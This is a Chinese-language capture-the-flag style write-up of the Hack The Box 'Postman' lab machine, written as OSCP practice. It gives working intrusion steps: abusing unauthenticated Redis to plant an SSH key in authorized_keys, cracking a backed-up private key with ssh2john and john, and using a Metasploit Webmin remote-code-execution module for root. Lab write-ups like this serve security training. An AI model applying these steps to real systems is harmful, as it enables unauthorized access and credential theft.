0x00 引子



某日在安全客上刷到了这个文章《我是如何拿到OSCP认证的?》,读完之后感觉太TM励志了,教练我也考OSCP,说干就干,于是随手搜索了一些备战OSCP的分享,看了一些准备知识,先从靶场练起。

HTB靶机-Postman Write Up


0x01 准备工作

注册HTB(Hack The Box)的过程就不说了,网上也有很多教程,在登陆之后,看了一眼大概有100多台靶机,我挑了一个评分比较高,难度比较低的开始入手。靶机名字为【Postman】,名字看不出什么端倪,先连接HTB指定的v*n,下载好v*n配置,直接用命令进行连接:

$ openv*n yourfile.ov*n


因为我这里用的kali,所以直接有这个命令,如果你用的其他系统,可以在网上搜索一些客户端。但是我建议大家都在Kali上进行渗透。


HTB靶机-Postman Write Up


0x02 User权限

nmap一把梭,上来先扫一通。


HTB靶机-Postman Write Up

开了两个web服务,80端口是一个应该是一个静态页面,仔细查找一番发现没什么利用点。


HTB靶机-Postman Write Up


10000端口是Webmin,今年有几个远程RCE漏洞暴露出来,应该有突破点。直接访问10000端口,是webmin的后台的登陆地址,先试试几个弱口令,没想到会提示尝试次数过多,看来**是不行了。


HTB靶机-Postman Write Up

网上又搜了新爆出来都几个相关EXP,发现都需要登陆,看来这条路暂时也不通。尝试扫描更多的端口,这时候突然看到6379的端口开着,显示Redis4.x版本。

HTB靶机-Postman Write Up


直接上MSF利用4.X&5.X的未授权远程代码执行,没想到一直报错,显示漏洞利用成功,却没有建立会话。


HTB靶机-Postman Write Up


google一下错误原因,显示可能是版本问题,于是更新msf到最新版。


$ apt update

$ apt install metasploit-framework


然后尝试还是显示没有建立会话,目前还不清楚哪里有问题,于是用vulhub在本地建立起redis的服务,试了一下,msf没有问题。同时还用了vulhub提供的exp,也同样没有问题,但是在这个靶机上怎么也不起作用


目测可能要手工利用,由于我是新安装的Kali,需要先安装redis

$ apt install redis-server


关于redis核心利用点是,通过没有身份校验的redis服务进行登陆,同时指定config dir和config dbfilename的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过ssh进行远程登陆。可以获得名为redis的shell。


首先在本地生成sshkey

$ ssh-******


然后进行redis登陆

$ redis-cli -h 10.10.10.16


查看 config dir的路径config dbfilename的名称

10.10.10.160:6379> config get dir

10.10.10.160:6379> config get dbfilename


HTB靶机-Postman Write Up


发现dir的路径已经放在redis用户的.ssh目录下了,同时dbfilename也已经设置为authorized_keys,然后添加本地的公钥到redis上,并保存。


10.10.10.160:6379> set key "\n\n\nssh-key\n\n\n" #在前后加上三个\n

10.10.10.160:6379> save


这个时候,可以直接用ssh登录名为redis的账号了,目前是一个权限比较低的shell


$ ssh -i id_rsa [email protected]

[email protected]:~$


尝试查看/home下的user flag,发现没有权限,但是已经找到user的名称了。

HTB靶机-Postman Write Up


随便翻看了几个目录,没有发现有用信息,先看看 .bash_history 文件,突然发现一个备份的文件,直觉告诉我,这个应该就是突破口了。


HTB靶机-Postman Write Up


查找该文件,发现是一个ssh的私钥的备份,有了私钥,就直接可以**密码了。

$ find / -name id.rsa.bak


首先是用ssh2john生成可**的hash值

$ /usr/share/john/ssh2john.py id_rsa > crake.txt


然后利用john**密码

$ john --wordlist=/usr/share/wordlists/rockyou.txt crake.txt

HTB靶机-Postman Write Up


这时候尝试用ssh登陆,发现登陆不上去。在.bash_history看到修改过ssh_config和sshd_config猜测应该是做了限制


这时候直接用redis权限通过su切换Matt用户


HTB靶机-Postman Write Up


0x03 Root权限

回头看Webmin,用刚拿到的Matt账号和密码登陆,没想到直接登陆成功了


HTB靶机-Postman Write Up


直接用msf尝试最近爆出的几个漏洞。

HTB靶机-Postman Write Up

HTB靶机-Postman Write Up


没想到第一个就成功了,root是白送的


HTB靶机-Postman Write Up

0x04 总结

在整个渗透的过程中,思路是对的,但是走了很多弯路,浪费不少时间。对这次渗透总结了下面几点:


  • 1.对某个漏洞的研究,一定要深入到原理,这样才能做到心中有数,随机应变。
  • 2.不要过度工具与脚本,有时候还需要手工测试。
  • 3.前期准备工作做足,不要存在侥幸心理,有时候正确方向可能就在那里。
  • 4.学会英语,学会交流。

0x05 附录

涉及知识点

  • Redis 4.x/5.x 未授权访问漏洞
  • Webmin软件包更新远程命令执行
  • john
  • ssh2john
  • ssh


相关课程推荐

戳我限时免费观看

M1系列课丨WEB安全入门急速训练营 1-5 《黑客是如何入侵服务器实现批量挖矿》


全套可点击下方链接

WEB安全入门急速训练营


HTB靶机-Postman Write Up



本文参考链接

Redis未授权访问与ssrf利用

redis未授权访问利用

Redis 未授权访问

Redis 未授权访问漏洞利用总结

理解公钥与私钥

黑客使用的10种最常见的黑客工具

Beginners Guide for John the Ripper (Part 2)

安全工具——John the Ripper

SSH文件配置详解

linux ssh_config和sshd_config配置文件


相关文章:

  • 2021-07-22
  • 2021-07-01
  • 2021-05-05
  • 2022-01-22
  • 2021-04-07
  • 2021-06-18
  • 2021-11-10
  • 2021-09-25
猜你喜欢
  • 2021-12-04
  • 2021-11-21
  • 2022-12-23
  • 2021-06-21
  • 2022-12-23
  • 2021-06-04
  • 2021-12-05
相关资源
相似解决方案